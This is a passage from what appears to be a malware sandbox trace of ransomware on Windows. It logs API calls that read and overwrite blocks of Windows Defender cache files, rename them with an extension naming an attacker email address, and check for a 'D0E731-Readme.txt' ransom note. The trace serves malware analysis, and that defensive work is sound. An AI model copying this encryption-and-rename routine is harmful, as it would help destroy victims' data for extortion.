[0078.698] WriteFile (in: hFile=0x3f0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x212bfe38, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x212bfe38*=0x481, lpOverlapped=0x0) returned 1 [0078.699] CloseHandle (hObject=0x3f0) returned 1 [0078.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0078.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a8e0) returned 1 [0078.699] RtlExitUserThread (Status=0x1) Thread: id = 908 os_tid = 0x1534 [0078.690] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67")) returned 0x20 [0078.699] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67", dwFileAttributes=0x20) returned 1 [0078.700] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0078.700] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x2133f998 | out: lpFileSize=0x2133f998*=111258476) returned 1 [0078.700] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x6a1ab68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.700] ReadFile (in: hFile=0x3f0, lpBuffer=0x2133f96c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2133f968, lpOverlapped=0x0 | out: lpBuffer=0x2133f96c*, lpNumberOfBytesRead=0x2133f968*=0x4, lpOverlapped=0x0) returned 1 [0078.703] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492dc0 [0078.703] NtQuerySystemTime (in: CurrentTime=0x2133f944 | out: CurrentTime=0x2133f944*=132121176365947819) returned 0x0 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xa2950e22 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xf6e1f44f [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x63a84c16 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xf0d56f9e [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xc5c2eb51 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xabcbadba [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x50f3efbc [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x41dee240 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x57c5f7ba [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x6bd84d56 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xa3bf3f16 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x5ebe5e23 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xc1cda784 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xca747107 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xb9625cb9 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x73672769 [0078.703] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x1f5a87eb [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xf337b003 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xe8c1b6de [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x3e28e087 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x6a30dda9 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x39d20ade [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x4149f13d [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x82a249aa [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x7374edef [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xfebe98a9 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xbc2b7319 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xcd7559c9 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xbf528426 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xc36e29f0 [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0x9afd227e [0078.704] RtlRandom (in: Seed=0x2133f950 | out: Seed=0x2133f950) returned 0xb1760704 [0078.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.715] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.715] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2133f904, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2133f904*=0x4096, lpOverlapped=0x0) returned 1 [0078.716] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e60 [0078.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.717] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2133f904, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2133f904*=0x4096, lpOverlapped=0x0) returned 1 [0078.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.717] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x350f3ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.717] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2133f904, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2133f904*=0x4096, lpOverlapped=0x0) returned 1 [0078.719] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x350f3ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0078.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0078.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fa0 [0078.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492fa0) returned 1 [0078.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0078.720] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2133f904, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2133f904*=0x4096, lpOverlapped=0x0) returned 1 [0078.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.720] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x6a16ad6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.720] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2133f904, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2133f904*=0x4096, lpOverlapped=0x0) returned 1 [0078.721] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x6a16ad6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0078.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0078.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492eb0 [0078.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492eb0) returned 1 [0078.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492eb0 [0078.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2133f904, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2133f904*=0x4096, lpOverlapped=0x0) returned 1 [0078.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492e60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2133f960, lpOverlapped=0x0 | out: lpBuffer=0x3492e60*, lpNumberOfBytesWritten=0x2133f960*=0x20, lpOverlapped=0x0) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492e88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2133f960, lpOverlapped=0x0 | out: lpBuffer=0x3492e88*, lpNumberOfBytesWritten=0x2133f960*=0x20, lpOverlapped=0x0) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492eb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2133f960, lpOverlapped=0x0 | out: lpBuffer=0x3492eb0*, lpNumberOfBytesWritten=0x2133f960*=0x20, lpOverlapped=0x0) returned 1 [0078.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2133f968, lpOverlapped=0x0 | out: lpBuffer=0x3492e38*, lpNumberOfBytesWritten=0x2133f968*=0x8, lpOverlapped=0x0) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x2133f980*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2133f968, lpOverlapped=0x0 | out: lpBuffer=0x2133f980*, lpNumberOfBytesWritten=0x2133f968*=0x4, lpOverlapped=0x0) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2133f968, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2133f968*=0x4, lpOverlapped=0x0) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2133f968, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2133f968*=0x6c, lpOverlapped=0x0) returned 1 [0078.722] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2133f968, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x2133f968*=0x20, lpOverlapped=0x0) returned 1 [0078.723] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2133f968, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2133f968*=0x4, lpOverlapped=0x0) returned 1 [0078.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492de8) returned 1 [0078.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e38) returned 1 [0078.723] CloseHandle (hObject=0x3f0) returned 1 [0078.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0078.723] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" [0078.723] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67.mailto[kokoklock@cock.li].d0e731" [0078.723] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.67.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.726] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0078.726] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.67", dwFileAttributes=0x20) returned 0 [0078.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0078.726] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0078.727] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0078.727] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0078.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0078.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a2c0) returned 1 [0078.727] RtlExitUserThread (Status=0x1) Thread: id = 909 os_tid = 0x1538 [0078.716] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79")) returned 0x820 [0078.728] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79", dwFileAttributes=0x20) returned 1 [0078.730] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0078.731] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x213bf82c | out: lpFileSize=0x213bf82c*=61947904) returned 1 [0078.731] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x3b13ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.731] ReadFile (in: hFile=0x3f0, lpBuffer=0x213bf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x213bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x213bf800*, lpNumberOfBytesRead=0x213bf7fc*=0x4, lpOverlapped=0x0) returned 1 [0078.734] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492de8 [0078.734] NtQuerySystemTime (in: CurrentTime=0x213bf7d8 | out: CurrentTime=0x213bf7d8*=132121176366260712) returned 0x0 [0078.734] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xbbdd0862 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xa07acfd0 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x6d1fc47 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xc2ceb5fc [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xdea5533a [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xbb45197e [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xfbd09b2f [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x8e63c997 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x28b61c69 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xc7fef409 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xca0abd38 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x32f9bf1c [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x228543d3 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x167cf848 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xfcff5339 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x4d5cba0e [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x19e6bff8 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xa90ce081 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x7bca4bde [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xa5c36995 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x43d6e385 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x4eec69c4 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xc0b1388e [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xa04c8a25 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xce468c76 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xf1d5ce0d [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x2c368263 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0xa9c28700 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x858933cb [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x47c7afc5 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x957db636 [0078.735] RtlRandom (in: Seed=0x213bf7e4 | out: Seed=0x213bf7e4) returned 0x5e41ef04 [0078.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.746] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.746] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x213bf798, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x213bf798*=0x4096, lpOverlapped=0x0) returned 1 [0078.748] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f28 [0078.748] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f28) returned 1 [0078.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f28 [0078.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f50 [0078.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f50) returned 1 [0078.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.749] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x213bf798, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x213bf798*=0x4096, lpOverlapped=0x0) returned 1 [0078.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.749] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x1d8ca0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.749] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x213bf798, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x213bf798*=0x4096, lpOverlapped=0x0) returned 1 [0078.752] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x1d8ca0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0078.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0078.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f50 [0078.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f50) returned 1 [0078.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 